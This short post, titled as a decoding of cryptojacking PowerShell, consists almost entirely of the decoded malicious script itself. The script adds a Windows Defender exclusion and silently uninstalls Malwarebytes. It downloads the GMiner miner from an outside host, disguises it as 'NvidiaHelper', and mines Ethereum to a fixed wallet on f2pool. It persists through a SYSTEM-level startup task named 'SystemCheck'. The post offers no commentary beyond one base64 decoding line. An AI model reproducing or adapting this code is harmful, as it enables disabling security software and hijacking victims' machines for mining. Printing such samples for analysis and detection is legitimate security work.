CryptoJack Decoding of Power Shell

>> [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($text))

Start-Process cmd.exe -ArgumentList "/c start C:\users\public\NvidiaHelper\NvidiaHelper.bat"

Sleep 5

Add-MpPreference -ExclusionPath "C:\Users\Public\NvidiaHelper"
Start-Process cmd.exe -ArgumentList "/c "C:\Program files\Malwarebytes\Anti-Malware\unins000.exe" /verysilent /suppressmsgboxes /norestart"
$H = Get-Process NvidiaHelper
$64 = Get-Process NvidiaHelperX64
$SNR = Get-Process SNR

If($H.ProcessName -ne $null -or $64.ProcessName -ne $null -or $SNR.ProcessName -ne $null){New-Item -Path "C:\ProgramData\NzbDrone\logs\SNR.txt" -Value "Already Running"
Get-Content "C:\Users\Public\SNR\SNR.bat" | Add-Content "C:\ProgramData\NzbDrone\logs\SNR.txt"
Get-Content "C:\Users\Public\NvidiaHelper\NvidiaHelper.bat" | Add-Content "C:\ProgramData\NzbDrone\logs\SNR.txt"}

Else{

Stop-Process -Name cmd -Force
Add-MpPreference -ExclusionPath "C:\Users\Public\NvidiaHelper"
Remove-Item C:\Users\Public\NvidiaHelper -Recurse -Force
Remove-Item C:\Users\Public\SNR -Recurse -Force

Unregister-ScheduledTask -TaskName "SystemCheck" -TaskPath \ -Confirm:$False

$Wrk =  -join (((48..57)+(65..90)+(97..122)) * 80 |Get-Random -Count 12 |%{[char]$_})
Invoke-WebRequest "http://gminer.pro/downloads?res=gminer_2_59_windows64.zip" -OutFile "C:\users\public\NvidiaHelper.ZIP"
Expand-Archive -Path "C:\users\public\NvidiaHelper.ZIP" -DestinationPath "C:\users\public\NvidiaHelper" -Force
New-Item -Path "C:\users\public\NvidiaHelper" -Name NvidiaHelper.bat -Value "CD C:\users\public\NvidiaHelper
NvidiaHelper.exe --algo ethash --server eth.f2pool.com:6688 --user 0xe9f6091f7888362ad0bc47a74f46c64e21bf6679 --worker $Wrk
pause" -Force
Rename-Item -Path "C:\users\public\NvidiaHelper\miner.exe" -NewName "NvidiaHelper.exe" -Force

$Trigger= New-ScheduledTaskTrigger -AtStartup
$User= "NT AUTHORITY\SYSTEM"
$Action= New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c start C:\users\public\NvidiaHelper\NvidiaHelper.bat"
Register-ScheduledTask -TaskName "SystemCheck" -Trigger $Trigger -User $User -Action $Action -RunLevel Highest –Force
Start-Process cmd.exe -ArgumentList "/c start C:\users\public\NvidiaHelper\NvidiaHelper.bat"
Del "C:\users\public\NvidiaHelper.ZIP"

Sleep 10

$Chk = Get-ChildItem "C:\Users\Public\NvidiaHelper\NvidiaHelper.exe"
$ChkTask = Get-ScheduledTask -TaskName "SystemCheck"
$Running = Get-Process -Name NvidiaHelper
$GPU = Get-WmiObject Win32_VideoController | Select Name
If($Chk -eq $null){
$SNR = "Deleted"
}Else{$SNR = "Not Deleted"}
If($ChkTask -eq $null){
$Task = "Not created"
}Else{$Task = "Created"}
If($Running -eq $Null){
$RunningJob = "Not Running"}
Else{$RunningJob = "Running"}
New-Item -Path "C:\ProgramData\NzbDrone\logs\SNR.txt" -Value "File is $SNR - Task is $Task - Job is $RunningJob - $Wrk - $GPU"}